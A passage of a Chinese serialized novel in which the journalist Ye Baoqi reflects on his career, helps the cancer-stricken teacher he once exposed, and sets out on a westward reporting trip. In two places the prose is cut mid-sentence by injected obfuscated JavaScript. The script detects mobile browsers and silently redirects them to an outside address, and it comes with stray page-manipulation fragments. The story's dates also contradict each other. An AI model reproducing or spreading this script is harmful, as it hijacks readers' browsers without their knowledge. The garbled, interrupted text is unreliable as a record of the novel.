学校很小,只有两排平房,操场是泥地,但扫得干净。他到的时候正是课间,孩子们在玩老鹰捉小鸡。王老师当母鸡,伸开双臂护着身后一串“小鸡”。她的动作有些笨拙,但眼神明亮,那是叶葆启从未在她脸上见过的光。 她没有看见他。叶葆启就站在围墙外看了十分钟,然后悄悄离开了。回程路上,他想起老领导的话:“记者的每一天都是新的。”其实每个人都是,王老师是,那些孩子也是。时光是最公正的编辑,它会删掉一些章节,重写一些段落,但好的内核,总会在某个版本里留存下来。 儿子叶舟高考前的那晚,父子俩在河边散步。这是叶葆启最喜欢的一段河岸,老柳树垂着长发般的枝条,对岸的灯火倒映在水里,碎成千万片金箔。 “爸,你当记者图啥?”十八岁的叶舟问出了那个问题。 叶葆启没有立即回答。他弯腰捡起一块扁平的石头,打了个水漂。石头在水面跳跃七次,画出一串同心圆。 “你看这水漂,”他说,“石头最终会沉下去,但它激起的涟漪会传到很远。也许到对岸,也许更远,我们看不见的地方。记者做的事,就像这水漂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904178|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——不求石头永远漂着,只求那圈涟漪能触到该触到的岸。” 叶舟似懂非懂,但他记住了父亲打水漂的姿势:身体微微侧倾,手腕发力,石片脱手时有个漂亮的旋转。后来他很多次模仿这个姿势,始终不如父亲打得远。 高考那三天,素琴在家坐立不安,把观音像擦了又擦,香炉里的灰满得溢出来。叶葆启照常上班,但写稿时写错了好几个字。老陈瞎子闻着空气说:“今天报社的气场乱,有大事。” 发榜那天,邮差在门口喊:“叶舟家,挂号信!” 素琴冲出去,手抖得拆不开信封。叶葆启接过,用裁纸刀小心地划开。展开通知书那一刻,他看见的不是字,而是一片光——金黄色的,温暖的光,从纸面升腾起来,笼罩了整个客厅。那是希望的光,是未来的光,是一个父亲看见儿子踏上新旅程时,心里涌起的无法言说的光。 素琴哭了,笑着哭。叶葆启抱住她,闻到她头发里油烟和桂花油混合的味道。这个味道他闻了二十年,是家的味道,是根的味道。 那天夜里,奖牌在抽屉里发出了不同的声音。不再是心跳,而是像泉水,叮咚作响,清澈欢快。叶葆启打开抽屉,红绒布自己掀开一角,奖牌在黑暗里泛着温润的光,像一块被岁月摩挲过的玉。 他把奖牌拿出来,第一次认真端详。金牌不重,上面刻的字在月光下清晰:“记录时代,守望正义。”这八个字突然活了,像小鱼游出水面,在空气中闪烁了几秒,又沉回金属的深处。 叶葆启明白了。奖牌不是终点,也不是起点,它是一个坐标,标记出他在漫长职业生涯中的一个位置。而这个位置的意义,不在于它本身,在于它指向的方向。 他把奖牌放回去,重新锁好抽屉。这次没有塞纸条,他觉得不需要了。 1999年6月过去,夏天汹涌而来。报社窗外的梧桐树绿得发黑,蝉鸣震耳欲聋。叶葆启的采访本换到了第八本,封面磨破了,他用胶布粘好。笔也用坏了好几支,但他留着一支最早的英雄钢笔,铱金笔尖磨出了适合他握姿的斜面。 这期间他做了几个重要的报道:一家化工厂的污染问题,经过三个月的追踪,最终促成搬迁;一个历史街区的保护,他写了整版调查报告,保住了三十多栋老建筑;还有一次跨省采访,帮一群被骗的农民工讨回了血汗钱。 每次完成这样的报道,他都会在笔记本最后一页画个小记号——有时是一片叶子,有时是一圈涟漪,有时什么都不是,就一个点。这些记号连起来,是一条看不见的轨迹,记录着一个记者的良心如何在这片土地上行走。 秋天的时候,叶葆启去参加了一个新闻界的年会。会上很多人谈论新媒体,谈论互联网,谈论即将到来的新世纪。有个年轻记者激昂地说:“传统媒体要死了,我们得转型!” 叶葆启没说话。他想起老家的一句俗话:衣服会旧,但人总要穿衣服;碗会破,但饭总要盛在碗里。形式会变,但有些东西不会变——人对真相的需求不会变,对公平的渴望不会变,对故事的向往不会变。 散会后,他在酒店门口遇见那位说“传统媒体要死了”的年轻人。年轻人有些尴尬,递给他一支烟。 “叶老师,我是不是说得太绝对了?” 叶葆启接过烟,没点,放在鼻子下闻了闻:“你知道我抽屉里锁着什么吗?” “您的新闻奖奖牌?” “不只是奖牌。”叶葆启望着街上的车流,“还有二十三封读者来信,最早的一封是1985年的。有感谢信,有批评信,有提供线索的,也有骂我多管闲事的。这些信我时不时会拿出来读读,它们比奖牌更重。” 年轻人若有所思。 “技术会变,平台会变,但记者这个身份的核心不会变——我们是代笔人,替那些不会写、不能写、不敢写的人,写下他们的故事;我们是传声筒,把微弱的声音放大,让该听见的人听见;我们还是镜子,照出这个时代的病灶和光彩。” 叶葆启拍拍年轻人的肩:“别怕变,但要清楚什么不能变。” 回家的公交车上,叶葆启睡着了。他做了一个短梦,梦见自己变成了一支笔,在巨大的纸页上行走。纸是土地的颜色,墨是夜空的颜色。他写下河流,河流就开始流淌;写下树木,树木就生根发芽;写下人的名字,那些人就从纸上站起来,朝他微笑。 醒来时到站了,窗外是熟悉的街景。叶葆启下车,秋风吹落梧桐叶,金黄的一地。他踩在落叶上,发出沙沙的声响,那声音像是大地在低语,诉说着季节轮回、生命更替的秘密。 家门口,素琴在等他。晚饭已经做好了,香气飘出来,是土豆烧肉的味道。儿子叶舟下个月要去大学报到,行李开始打包,客厅里堆着纸箱。 “回来啦?”素琴接过他的包。 “嗯,回来了。” 简单的对话,重复了二十年。但每次说,都有不同的分量。 夜深了,叶葆启在书房整理资料。月光从窗户泻进来,在书桌上铺出一片银白。他突然想起抽屉里的奖牌,打开来看,奖牌静静地躺着,不再发光,不再发声,就是一块普通的金属。 这样最好,他想。荣誉应该安静,像种子埋在土里;而人应该行动,像树向上生长。 他拿出新的采访本,在第一页写下日期:1999年10月8日。然后顿了顿,又添上一行小字: “笔未老,心尚温,路还长。” 窗外,城市的灯火渐次熄灭,但总有几盏亮着,像不肯睡去的眼睛。更远处,河流在黑暗中流淌,无声,却有力,带着千百年来的记忆奔向大海。而明天太阳升起时,又会有新的故事发生,等待被看见,被记录,被讲述。 叶葆启合上本子,关掉台灯。月光里,他的影子投在墙上,微微晃动,像一棵老树在夜风中的剪影。 那影子很长,一直延伸到时光深处,连接着过去,也指向未来。 27. 第027章 女教师的母亲 雨水是记忆的触须,缠缠绕绕地爬满了1999年的秋天。叶葆启坐在办公室里,听着雨滴敲打窗玻璃的声音,那声音闷闷的,像是从很远的海底传来。已经是2002年了,距离那篇关于螺壳镇小学的报道获奖,整整过去了三年零四个月。时间这东西,你说它像流水,它偏像胶,黏糊糊地裹着人往前挪。 办公室里永远弥漫着一股旧报纸和速溶咖啡混合的气味。叶葆启面前的桌上摊开着读者来信,那些字迹有的娟秀如春蚕吐丝,有的狂放似暴雨摧枝。他已经习惯了这种生活——“听潮阁”栏目成了内海市民皆知的名字,他自己也从一个风风火火的青年记者,变成了同事们口中“老叶”的存在。他不太喜欢这个“老”字,才四十二岁,腿脚还灵便,还能骑着那辆凤凰牌自行车穿越大半个城区去采访。 窗外的雨下得绵密,把天地织成一张灰蒙蒙的网。下午三点钟的光景,天色暗得像傍晚。叶葆启正要起身去续杯茶水,门被敲响了。 不是那种干脆的敲,而是犹豫的、试探的,指甲轻轻刮过木门的声音,像秋虫在死亡前的最后鸣叫。 “请进。” 门开了条缝,先探进来的是一只枯瘦的手,手指关节粗大,皮肤上布满深褐色的斑点。然后是一头白发,稀疏得能看见头皮上青色的血管。最后才是整个人——一个老妇人,穿着洗得发白的蓝布衫,黑色裤子在脚踝处磨出了毛边。她背有些佝偻,站在门口时,雨水正顺着她的发梢往下滴,在地上洇开一小圈深色。 “请问……叶葆启叶记者在吗?”声音很轻,带着浓重的、泥土般的外地口音,每个字都像是从很深的地方挖出来的。 叶葆启连忙起身:“我就是。老人家,您快请进,外面雨大。” 他走过去搀扶,触到老人手臂时吃了一惊——那手臂瘦得只剩一把骨头,隔着薄薄的布料,能感觉到皮肤下脉搏的跳动,微弱而急促,像被困住的鸟。 老人被他扶到椅子上坐下,双手拘谨地放在膝盖上。叶葆启倒了杯热水递过去,她接过来,没有喝,只是用双手捧着,取暖似的。热气升腾起来,在她脸前形成一小片雾,透过那片雾,她的面容显得更加模糊不清。 她抬起头,开始仔细端详叶葆启。那眼神很复杂,像是要把他的模样刻进记忆里,又像是透过他在看别的什么。她的眼白已经泛黄,瞳孔是混浊的褐色,边缘有些发蓝,像久旱土地上的裂缝。 “叶记者……”她开口,声音比刚才更轻了,“我姓吴,是从河北唐县来的。” 叶葆启点点头,等着下文。河北唐县离内海两百多公里,是个以产枣闻名的地方,那种大枣据说叫“木兰红”。他记忆中似乎没有来自那里的采访对象。 老人捧着杯子的手开始微微颤抖,热水溅出来几滴,落在她手背上,她好像没有察觉。“我女儿……叫吴莹莹。您……您还记得吗?” 吴莹莹。叶葆启在记忆里搜索这个名字。有些熟悉,像河底的石子,明明触到了,却看不清形状。他皱起眉头,努力打捞。 见他想不起来,老人低下头,声音几乎要埋进胸口:“就是……就是螺壳镇小学……那个……被处分的王老师……她是我女儿……我后来改嫁,她随了继父的姓,叫王莹莹……” 轰的一声。 不是真的声音,是记忆炸开的声音。叶葆启感到一阵眩晕,下意识扶住了桌沿。螺壳镇小学!王老师!那个因为用针扎学生手心、罚学生跪碎玻璃而被报道的女教师!那个在报道刊登后拒不认错、在全校大会上高声辩驳的女人!那个最终被调离教师岗位、行政记大过处分的“反面典型”! 而眼前这位风烛残年的老人,竟是她的母亲。 时间在这一刻变得黏稠而怪异。叶葆启仿佛看见三年前的自己,那个满怀正义感的年轻记者,在螺壳镇小学的教室里,听着家长们声泪俱下的控诉。他记得那些孩子手上的针眼,像红色的星座分布在他们稚嫩的手心。他记得王老师当时的样子——四十岁上下,剪着齐耳的短发,脸色苍白,嘴唇紧抿成一条线,眼神里有种近乎偏执的倔强。 “我没有错!严师出高徒!现在不管,将来就是社会的祸害!”她当时是这么说的,声音尖利得像碎玻璃。 而现在,她的母亲坐在他面前,捧着那杯快要凉掉的水,像捧着一捧即将熄灭的灰烬。 无数念头在叶葆启脑中翻滚、碰撞。她是来报仇的?来控诉一篇报道毁了她女儿的一生?还是来讨要说法的?他的手心开始冒汗,三年前的理直气壮此刻忽然变得有些摇晃。 老人似乎看穿了他的心思。她急急地摆手,动作太猛,杯子里的水又溅出来一些。“叶记者,您别误会!我……我不是来找麻烦的!”她的眼圈红了,那红色在泛黄的眼白衬托下显得格外触目,“我女儿……她做得不对,该罚!这个道理我懂!我活了七十三年,不是不明事理的人!我今天是……是来求您帮忙的!” 帮忙?叶葆启愣住了。这个转折太突然,像是走在平地上突然踩进一个坑。他示意老人慢慢说,自己在她对面坐下,从抽屉里拿出笔记本和笔——这是记者的职业习惯,用纸笔作为面对复杂世界的盾牌。 老人开始讲述,声音断断续续,像老旧的纺车纺出的线,不时就会断掉。她讲得很慢,时常需要停下来喘气,或者努力回忆某个细节。叶葆启没有催促,只是安静地记录,偶尔抬头看看她。窗外的雨还在下,滴滴答答,像是在为这个故事打着节拍。 原来,吴莹莹被调离螺壳镇小学后,去了郊区一所更偏远的小学。那地方叫“羊尾巴沟”,名字粗俗得让人难过。学校只有六个班,校舍是五十年代建的土坯房,下雨天教室里会漏水。没有教师宿舍,她在村里租了一间民房,冬天冷得像冰窖,夏天热得像蒸笼。 “她心里憋着气啊。”老人抹了把眼泪,“从小就要强,读书时永远是第一名。当老师也是,带的班成绩总是最好。那件事之后,她更拼命了,像是要证明什么,证明自己是个好老师……” 吴莹莹在羊尾巴沟小学一待就是三年。她带的毕业班,数学成绩破天荒拿了全区第三——对那样一所学校来说,这简直是奇迹。她开始获得一些荣誉,区里的“先进教育工作者”,市里的“师德标兵”提名。但没人知道,这些荣誉背后是什么。 “她每天五点起床,备课到深夜。饭也吃不好,经常就是馒头就咸菜。去年春天,她说胸口疼,自己买了点止疼药吃。后来洗澡时摸到个硬块,才去医院……”老人的声音开始发抖,“乳腺癌,中期。” 这个词从老人口中说出来时,带着一种钝重的、实心的质地,像一块石头砸进水里。 手术切除了左侧□□,接着是化疗。头发大把大把地掉,她干脆剃了光头。治疗花光了家里所有积蓄——其实也没什么积蓄,一个小学教师的工资,一个货车司机的收入(她的丈夫),要养老人,要供孩子上学。亲戚朋友借遍了,欠了一屁股债。 “最近复查,医生说情况不太好,要换一种药,叫什么……靶向药。一瓶就要八千多,一个月得四瓶。医保报不了,一分钱都报不了。”老人终于哭出声来,那哭声压抑了很久,从喉咙深处挤出来,嘶哑得像破风箱,“她性子倔,不肯求人,更不肯……不肯来找您。她说没脸见您,没脸见任何人。是我瞒着她,偷偷打听,找到这儿来的。叶记者,我知道我女儿当年对不起那些孩子,对不起家长,也……也冒犯过您。可她现在已经这样了……她才四十岁啊……求求您,能不能……能不能在报纸上呼吁一下,或者,帮我们问问,有没有什么救助政策……我实在是没办法了啊……” 老人说着,突然从椅子上滑下来,扑通一声跪倒在地。那声音很闷,像是膝盖直接撞在了水泥地上。叶葆启吓了一大跳,赶紧去扶她。老人的身体很轻,轻得像个孩子,在他手里颤抖着。 “您快起来!快起来!”叶葆启用力把她扶回椅子上。老人的眼泪鼻涕糊了一脸,她用手背胡乱抹着,那双手上纵横的皱纹里嵌着洗不掉的污渍——是常年劳作留下的印记。 叶葆启的心乱了。他重新坐回座位,看着笔记本上刚记下的几行字,那些字迹因为手的颤抖而歪歪扭扭。他点上支烟,深深吸了一口,烟雾在两人之间缓缓升起,像一道帘幕。 三年前,他写那篇报道时,一切多么清晰。是非黑白,对错分明。王老师是错的,学生和家长是对的,他的笔就是正义之剑,要斩断教育中的毒瘤。他记得写完稿子那晚,他激动得睡不着觉,觉得自己在做一件了不起的事——为弱者发声,向不公开炮。 可现在,这个“毒瘤”的母亲跪在他面前,哭着说她的女儿快要死了。 时间展现了它最残酷的一面:它从不简单地惩罚或奖赏,而是把所有人扔进一个巨大的漩涡,让施害者和受害者、批判者和被批判者,最终都在同一个激流中挣扎。 “吴阿姨,”叶葆启终于开口,声音有些沙哑,“您先别急。这个事情,我记下了。” 他把烟摁灭在烟灰缸里,那个动作很用力,像是要摁灭什么别的东西。“您女儿当年的事,一码归一码。她做错了,受到了处理。但现在她生病有困难,这是另一码事。人道主义关怀,是社会应有的温度。我会尽力帮您问问。” 他没有说“我一定帮你解决”,记者当久了,知道承诺不能轻易给。但他承诺会通过报社的渠道,联系内海市总工会、教育工会、妇联、民政局,咨询针对重病教师的帮扶政策;也会看看有没有合适的慈善救助项目可以申请。 老人听着,眼泪又流下来,但这次是无声的。她不断点头,每点一次头,花白的头发就颤动一下,像是秋风中的芦苇。 叶葆启详细询问了情况:在哪家医院,主治医生是谁,确诊时间,已经做了哪些治疗,那种靶向药的具体名称,每个月到底需要多少钱。他问得很细,这是记者的本能——用细节构筑真实。老人从怀里掏出一个皱巴巴的塑料袋,里面装着各种单据:病历、处方、缴费单、欠条。那些纸都已经软了,边角磨得起毛,上面的字迹有些被泪水洇开,像长出了蓝色的霉斑。 叶葆启一页页翻看,心情越来越沉重。最下面是一张照片,是吴莹莹生病前拍的。穿着白衬衫,戴着红领巾——可能是教师节活动。她笑着,但笑容很僵硬,嘴角的弧度像是用尺子量过。眼睛直视镜头,里面有种说不清的东西,不是快乐,也不是悲伤,而是一种紧绷的、随时准备战斗的状态。 “这是她最好看的照片了。”老人轻声说,手指轻轻摩挲着照片边缘,像是怕碰碎了什么。 叶葆启把照片和单据都还给她,又给她续了杯热水。“吴阿姨,您留个地址和联系方式,我这边有消息就告诉您。” 老人从另一个口袋掏出一支圆珠笔和一小片纸,那是从什么包装盒上撕下来的,背面还印着“钙奶饼干”的字样。她用颤抖的手写下地址和邻居家的电话号码——她自己家没有电话。 “叶记者,真的……真的谢谢您。”她站起来,又要鞠躬,被叶葆启拦住了。 他送她到门口。走廊里昏暗的灯光把她的影子拉得很长,那影子贴在地上,薄薄的一片,仿佛一阵风就能吹走。看着她蹒跚下楼的背影,叶葆启忽然想起自己的母亲。如果有一天,自己躺在病床上无力支付药费,母亲会不会也这样,放下所有尊严,去求一个曾经伤害过自己孩子的人? 这个念头让他打了个寒颤。 回到办公室,他坐在桌前,很久没有动。雨还在下,天色更暗了。桌上的读者来信静静地躺着,那些字迹突然变得陌生,像是某种他不认识的古老文字。他想起三年前采访过的一个家长,那个愤怒的母亲举着儿子的手,对着镜头哭喊:“她不是老师!她是魔鬼!” 当时他觉得这话虽然偏激,但可以理解。可现在,那个“魔鬼”正躺在病床上,因为付不起药费而等待死亡。 叶葆启甩甩头,强迫自己回到现实。他拿起电话,开始一个个拨打。先打给报社工会主席老陈,说明情况,请他帮忙联系内海市教育工会。老陈在电话那头沉默了几秒,说:“葆启,你这是……以德报怨啊。” “谈不上,”叶葆启说,“就是看见有人需要帮助。” “行,我帮你问问。不过你别抱太大希望,这种事太多了。” 接着是市妇联、民政局、卫生局。每打一个电话,他都要把事情从头到尾说一遍。说到“螺壳镇小学”时,对方通常会“哦”一声,那声音里包含着太多东西:惊讶、好奇、或许还有一丝不易察觉的评判。 “就是那个体罚学生的老师?”民政局的一个科长问。 “是她。但现在是病人。”叶葆启强调。 “明白了。我查查政策,有消息通知你。” 挂掉最后一个电话,已经是下班时间。办公室里的同事都走了,只剩他一个人。窗外的雨小了些,变成蒙蒙的雾,笼罩着整个城市。远处高楼上的霓虹灯开始亮起来,红的绿的,在雨雾中晕开,像伤口渗出的血。 叶葆启没有马上回家。他坐在那里,一根接一根地抽烟。烟雾缭绕中,他仿佛又回到了螺壳镇小学的那个下午。 那是1999年初秋,和现在一样的季节。他第一次走进那所小学时,被它的破旧震惊了。教室的窗户没有几块完整的玻璃,用塑料布钉着,风吹过时哗啦作响。操场是泥土地,下雨后就成了泥塘。就是在这样的环境里,王老师——当时的吴莹莹——创造了一个奇迹:她带的毕业班,数学平均分连续三年全区第一。 采访开始时,他是带着敬意的。这样一个艰苦的环境,能教出这样的成绩,老师一定付出了很多。他甚至在笔记本上写下:“寒门师者,可敬可佩。” 但随后的家长座谈会改变了这一切。 十几个家长挤在一间小教室里,情绪激动。 家长们的声音交织在一起,愤怒、委屈、无奈。叶葆启记录的手在抖,不是害怕,而是一种混杂着震惊和愤怒的情绪。 他也采访了王老师本人。在教师办公室,她坐在他对面,背挺得笔直,双手放在桌上,手指交叉着,指节因为用力而发白。 “我承认我体罚学生。”她开门见山,没有一点回避,“但叶记者,您了解这里的情况吗?这些孩子,父母大多在外打工,爷爷奶奶管不了。不写作业、上课睡觉、打架斗殴是常事。我如果不管,他们小学毕业就去混社会了。” “但体罚是违反规定的……” “规定?”她打断他,嘴角露出一丝讥讽的笑,“规定能让他们考上初中吗?规定能改变他们的命运吗?我知道外面怎么说我,说我是‘变态’,是‘恶魔’。但您看看我教过的学生,有多少考上了县重点中学?如果没有我,他们现在可能在工地上搬砖,在餐馆里端盘子!” 她的眼睛很亮,有种病态的光。“我是为他们好。总有一天他们会明白。” 采访结束时,叶葆启心情复杂。他理解她的出发点,但不能认同她的方法。更重要的是,那些孩子恐惧的眼神是装不出来的。 报道登出来后,引起了轩然大波。教育局迅速介入,调查,处理。处理结果公布那天,叶葆启又去了螺壳镇小学。王老师正在收拾办公室里的个人物品,动作很慢,一件一件,像是要和每个物件告别。 看见他,她停下来,直直地看着他。“叶记者,您满意了吗?” 他没说话。 “您毁了一个老师,但您救不了那些孩子。”她说,声音很平静,平静得可怕,“接替我的老师下个月才来,这个月他们没数学课上。这就是您想要的正义?” 她抱着纸箱离开时,背影在秋日的阳光下拖得很长。有学生躲在教室窗户后面偷看,但没有人出来送她。 叶葆启站在原地,忽然有些恍惚。他做的到底是对是错? 三年过去了,这个问题依然没有答案。而现在,这个问题以更残酷的方式回到他面前。 桌上的电话突然响起,吓了他一跳。是素琴打来的,问他怎么还没回家。 “遇到点事,马上回。”他说。 挂掉电话,他最后看了一眼窗外。城市的灯火在雨夜中明明灭灭,每一盏灯后面,都是一个家庭,一个故事,一段人生。记者这个职业很奇怪,总是闯入别人的故事,留下一些痕迹,然后离开。但那些故事并不会因为你的离开而结束,它们会继续生长,以你意想不到的方式,再次与你相遇。 他把老人的地址和病情摘要抄了一份,放进公文包。关灯,锁门,下楼。 雨已经停了,但空气湿漉漉的,吸进肺里有种沉甸甸的感觉。自行车棚里,他那辆老凤凰静静立着,车座上积了一小摊水。他用袖子擦干,骑上去。车轮轧过湿漉漉的地面,发出沙沙的声音,像是无数细小的叹息。 接下来的几天,叶葆启像个真正的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904179|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “公仆”一样奔波。他去内海市教育局,坐在教育工会的办公室里,和负责大病互助的同志详细说明情况。对方是个中年女人,戴一副金边眼镜,听完后推了推眼镜,说:“叶记者,按程序,我们需要她本人申请,然后学校盖章,中心校审核,最后报到我们这里。” “她人在医院,可能不方便。” “那可以让家属代办,但需要委托书。”女人从抽屉里拿出一叠表格,“这些都要填。另外,她这种情况,当年是受了处分的,可能会有影响。” “处分和生病是两回事。”叶葆启说。 “道理是这样,但审批的人可能会考虑。”女人说得委婉。 他又跑妇联。妇联的同志更热情些,说可以帮忙联系“两癌”救助项目,但那个项目资金有限,需要排队。“而且主要针对农村贫困妇女,她虽然是老师,但户口是城镇的,可能不符合条件。” “人都快不行了,还在分农村城镇?”叶葆启有些激动。 “叶记者,您别急,政策就是这样规定的。我们也在争取拓宽覆盖面。”对方安抚他。 最有可能的是民政局的大病医疗救助。但工作人员算了算,摇摇头:“她的医疗费用已经超过家庭年收入的三倍,理论上符合条件。但救助金额有限,最多两三万,对她那种药来说,杯水车薪。” 一圈跑下来,叶葆启感到一种深深的无力。每个部门都有自己的规定、程序、限制。他们都不冷漠,都表示同情,都愿意在政策范围内帮忙。但所有“政策范围内”的帮助加起来,依然填不上那个巨大的窟窿。 晚上回到家,他把这些告诉素琴。素琴在中学教语文,是个心软的人。她听完,沉默了很久,说:“要不,咱们帮一点?” 叶葆启看她:“咱们也不宽裕。” “是不宽裕,但比她强。”素琴说,“儿子上大学了,咱们就两个人,省省总是有的。” 他们商量了一个数字——两千块。对靶向药来说,这只是几天的量,但这是他们能拿出的最大数目了。 叶葆启又联系了跑卫生线的同事小赵。小赵听说后,一拍大腿:“那种药啊,我知道!药厂好像有个慈善赠药项目,但门槛很高,要证明真的穷得不行了,而且前期必须自费治疗一段时间。” “需要什么材料?” “一大堆。低保证明、收入证明、医疗费用清单、医生证明……最重要的是,需要自己先垫钱治疗六个月,花够十万还是十五万来着,然后才能申请。” 十万。对吴莹莹的家庭来说,这是个天文数字。 叶葆启把这些信息都整理好,写了一封详细的信,解释每个渠道的申请条件、需要准备的材料、联系人电话。在信的末尾,他写道:“吴阿姨,这些是我目前了解到的全部信息。虽然困难很多,但请不要放弃。我会继续关注相关政策变化。随信附上一点心意,请务必收下,给莹莹买点营养品。” 他把信和两千块钱装进信封,按照老人留下的地址寄了出去。 寄完信的那个下午,他又去了趟邮局旁边的庙街。那条街上有个香火很旺的观音庙,他不是信徒,但鬼使神差地走了进去。庙里烟雾缭绕,观音菩萨低眉垂目,慈悲地看着芸芸众生。他站在那里看了很久,忽然想:如果菩萨真的存在,她会怎么评判这件事?会认为王老师是恶人吗?会因为一个人犯了错,就让她得癌症死掉吗? 没有答案。只有香烛燃烧的气味,浓烈得让人窒息。 日子一天天过去,秋意越来越浓。梧桐树的叶子开始变黄,风一吹,哗啦啦落一地,像褪色的记忆。叶葆启继续忙他的“听潮阁”,接热线电话,跑现场,写稿子。生活似乎回到了原来的轨道,只有他自己知道,有些东西不一样了。 他开始在做报道时更加谨慎。遇到需要批评曝光的事,他依然会犀利地写,但下笔前会多问几个问题:这个人为什么这么做?背后有没有什么不得已?如果我是他,会怎么做? 这不是变得圆滑,而是一种更深的理解——理解人性的复杂,理解处境的艰难,理解在非黑即白之间,存在着大片的灰色地带。 一个月后,他收到了回信。 信封很普通,白底蓝框,是医院附近小卖部卖的那种。字迹工整,但笔画虚浮,像是用尽全身力气才写出来的。 “叶记者:您好。母亲把一切都告诉我了。首先,为我当年的错误和给您带来的困扰,再次诚恳道歉。我愧对教师这个称号。” 叶葆启读到这一句时,停顿了很久。他能想象那个倔强的女人,躺在病床上,一笔一划写下这些字时的心情。那需要放下多少骄傲,吞咽多少苦涩。 “其次,衷心感谢您的无私帮助。教育工会和学校的补助已经申请,正在审批。妇联也联系了我,提供了心理疏导和家政服务信息。虽然前路艰难,但感受到了来自社会的善意,这让我羞愧,也更让我有勇气面对病魔。” 信纸在这里有被水滴洇开的痕迹,不知道是眼泪,还是别的什么。 “您让我看到,批评是惩前,而帮助是毖后。您是一位真正的记者,也是一位仁厚的人。谢谢您。吴莹莹(王莹莹)敬上。” 落款处,她先写了本名“吴莹莹”,又用括号加上“王莹莹”。那个被舆论钉在耻辱柱上的名字,和那个被她自己隐藏起来的名字,终于在这一刻和解了。 叶葆启把信看了三遍,然后小心地折好,放进抽屉最深处。那里还收着三年前那篇报道的剪报,发黄的新闻纸上,“螺壳镇小学体罚事件调查”的标题依然醒目。他把这两份东西放在一起,一份是过去的批判,一份是现在的和解。时间在这两个文本之间流淌,改变了一切,又仿佛什么都没改变。 晚上,他把信给素琴看。素琴看完,眼睛红了。“这个老师……其实也不容易。” “是啊。”叶葆启说,“当年我只看到她严厉的一面,没想过她为什么变成那样。” “听说她小时候家里特别穷,读书时每天走十几里山路。她是靠拼命才考上师范的,所以觉得读书是唯一的出路,对学生也特别严。”素琴说,“方法错了,但心可能是好的。” 叶葆启没说话。他走到窗前,推开窗户。夜风凉凉地吹进来,带着秋天特有的、枯叶和泥土混合的气味。远处,城市的灯火依旧璀璨,每一盏灯下都有一个故事,有悲欢,有离合,有对错难辨的往事,有不得不做的选择。 “葆启,”素琴走到他身边,握住他的手,“你做得对。骂人时像阎王,那是你的职责;帮人时像菩萨,那是你的本心。人这一辈子,谁还不犯个错?得饶人处且饶人,能帮人时伸把手。” 叶葆启点点头。妻子的手很暖,把他从秋夜的凉意中拉回来。 他没有告诉任何人这件事。没有写进报道,没有在同事间提起。这成了他记者生涯中一段私密的记忆,关乎职业伦理,更关乎人性的复杂与微妙。它像一个秘密的刻痕,刻在他的职业良心上,提醒他:记者笔下的人物,从来不是非黑即白的标签。他们是活生生的人,有血有肉,有过去有未来,会犯错也会悔改,有时候是施害者,有时候又是受害者。 就像螺壳镇这个名字——螺壳,螺旋状的壳,看似简单的结构,却藏着无尽的回响与迷宫。每一个生命都是这样一个螺壳,外表或许坚硬,内里却曲折幽深,回响着过去的每一次潮汐。 雨夜依旧,热线依旧,“坐堂”依旧。叶葆启还是那个奔波在一线的记者,用笔记录这座城市的悲欢。只是他的眼神里,除了以往的锐利与执着,多了一些别的东西——一种历经世事后的沉静,一种理解复杂后的通达,一种在坚持原则的同时不丧失温度的能力。 他知道,记者这支笔很重。它能记录罪恶,也应传递善意;能鞭挞不公,也可扶助弱小。这其中的分寸与平衡,没有教科书可以教,只能在一个个具体的人、具体的故事中,用心去揣摩,用一生的时间去践行。 窗外,又下雨了。雨滴打在玻璃上,蜿蜒而下,像是无数道细小的泪痕。叶葆启关上窗,回到桌前。电话铃响了,是热线,又一个需要帮助的市民。 他拿起听筒:“您好,这里是‘听潮阁’,请问有什么可以帮您?” 声音平稳,温和,带着一种经过沉淀的力量。而在电话线的另一端,在这座城市的某个角落,在雨夜的笼罩下,又一个故事正在等待被听见,被理解,被书写。 28. 第028章 苍原墨迹 千禧年的钟声还在天际回荡,新世纪的光像刚开封的老酒,醇厚又刺目地淌进《内海都市报》的编辑部。铅字与油墨的气味里,酝酿着一场远征。社长站在窗前,背对满桌稿件,突然转身说:“得去西边看看。” 这话像颗石子投入静潭。三个月后,“西行采访组”便有了筋骨——叶葆启领队,摄影记者掌镜,行政科的小刘管车马粮草。那辆新配的越野车停在院中,通体墨绿,太阳底下泛着冷冽的光,像匹等待驰骋的草原狼。 四月十日,天色青灰如未磨的砚。出发仪式简短得近乎潦草。总编辑将一面卷起的小红旗递到叶葆启手中,布帛相触的瞬间,叶葆启感到旗杆上有细密的木刺,扎着掌心。总编辑的嘱咐被晨风吹散,只余几个词坚硬地落进耳里:“记录……使者……平安归来。” 车子驶出城区时,叶葆启回头望了一眼。报社大楼在渐浓的雾气中褪成淡影,像一摞被水濡湿的旧报纸。他忽然想起昨夜整理行囊时,妻子默默往他箱底塞进三双厚袜、一包家乡土——用红布裹着,说是“走到哪都带着,水土就不欺生”。 内蒙古的草原还未醒来。草是枯黄的,一望无际地铺展到天际线,风过时泛起波浪,那浪头却滞重迟缓,仿佛大地在沉睡中翻身。他们先到了呼和浩特,采访了几个镶着“内海援建”铜牌的厂子。机器轰鸣声在空旷的厂区回荡,工人们的面孔被机油和尘土染得模糊,只有眼睛亮着——那是认命与期盼交织的光。 